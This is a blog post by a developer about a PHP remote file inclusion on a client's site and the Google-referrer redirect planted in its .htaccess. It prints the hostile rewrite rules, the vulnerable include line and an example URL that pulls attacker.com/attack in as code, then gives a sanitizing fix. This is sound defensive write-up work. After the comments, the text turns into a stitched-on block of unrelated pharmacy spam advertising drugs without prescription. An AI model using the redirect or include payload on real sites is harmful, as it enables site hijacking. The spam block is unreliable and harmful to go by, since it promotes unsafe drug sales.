Mark Sanborn Mark Sanborn Fishing Mark Sanborn

Coder, Entrepreneur, Blogger, and Coffee Addict

PHP Include Injection and Google Referral Hijack

So recently a friend of mine, had a client that had a very odd problem. His website was working fine when you go to it directly by typing in the domain name; however, if you searched for the site in Google and clicked the link for the site it would take you to a hijacked page.

So the page only appeared hijacked when the referral was coming from Google. The hijack could go unnoticed for months. You would either have to be googleing yourself or wait until a good samaritan sends you an email warning you of the problem. I must say this sort of attack is quite clever on the hijacker’s part. The hijacked page gets the original site’s page rank and Google visits while the site owner has absolutely no clue.

Fixing it

 
The first part of the problem was to fix the hijack. This was easily solved by simply deleting the .htaccess and restoring it with the original. The hacked .htaccess contained a redirect similar to something like this:

RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://google\.com
RewriteRule .* http://www.anotherdomain.com [R=301,L]

The second part of the problem was to find how the hacker was able to change the .htaccess. Since we don’t have access to shared hosting logs we were going to to have to do it the hard way.

We first tried a tool called, nikto. After running the tool it returned a myriad of potential problems that could have caused an attack, like old versions of PHP, old cgi scripts etc.. After thinking about it we thought that if it was the host’s fault there would be thousands of websites effected so we started digging into the code and found something interesting:

include_once("$_GET[page].inc.php");

This one liner was the culprit we were looking for. This segment of code was used to include some code based on the particular pages the user was on. The problem with it however is that it blindly accepts any value here. Remember the golden rule: Sanatize all input! Failure to sanitize this input led to an attacker able to do something like this:

http://www.domain.com/index.php?page=attacker.com/attack

He would then have a script at his site called attack.inc.php. The attacker knew that they needed the .inc.php extension because the when they passed, ‘foobar‘ through the page variable they got an error explaining that it wasn’t there. To prevent this knowledge you could supress the PHP error messages or use PHP required function instead and throw out a die statement. This would only provide obscurity however. We needed to eliminate the vulnerability with input sanitation.

To do this we used a simple regular expression that would only accept a-z and A-Z. This would prevent remote includes and path traversing.

<?php
function sanitizeInput($string) {
    return preg_replace("/[^A-Za-z]/", "", $string);
}  

echo sanitizeInput('blah123');
?>

Remember to check over your code especially when getting input from the user. This is a very sneaky attack that would ruin your Google page rank and your traffic before you even noticed what was going on.



This entry was posted in PHP, Programming, Security and tagged . Bookmark the permalink.

3 Responses to PHP Include Injection and Google Referral Hijack

  1. Jade Robbins says:

    The funny part was that I kept re-iterating “this site is so simple, it takes NO input from the user, how could someone inject?!?!” completely forgetting that those querystrings were input from the user. Doh!

  2. Russ says:

    Where does the sanitizeInput function go? Trying to fix the same issue. Not sure where the include_once(“$_GET[page].inc.php”); lives, did a project search and didn’t find it.

  3. Mark Sanborn says:

    That was the problem with our specific site. It might be different for yours.

© 2011 All rights reserved

1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|23|24|25|26|27|28|29|30|31|32|33|34|35|36|37|38|39|40|41|42|43|44|45|46|47|48|49|50|51|52|53|54|55|56|57|58|59|60|61|62|63|64|65|66|67|68|69|70|71|72|73|74|75|76|77|78|79|80|81|82|83|84|85|86|87|88|89|90|91|92|93|94|95|96|97|98|99|100|101|102|103|104|105|106|107|108|109|110|111|112|113|114|115|116|117|118|119|120|121|122|123|124|125|126|127|128|129|130|131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161|162|163|164|165|166|167|168|169|170|171|172|173|174|175|176|177|178|179|180|181|182|183|184|185|186|187|188|189|190|191|192|193|194|195|196|197|198|199|200|201|202|203|204|205|206|207|208|209|210|211|212|213|214|215|216| generic buying erythromycin alesse next day delivery without a prescription motilium no prescription needed buy cytotec pills canadian pharmacy no prescription needed provera actos by internet buying orlistat pharmacy without prescription lisinopril no prescription needed purchase femara medication buy lipitor cod actonel buy online cheap buy carbozyne online without prescription femara prescription discounts elavil without prescriptions pills buying isotretinoin online pharmacy trazodone no prescription order no prescription metformin birth control no prescriptionAccutane Online Doxycycline online Buy Cheap Lexapro Online No Prescription Prednisone Online Buy Accutane No Prescription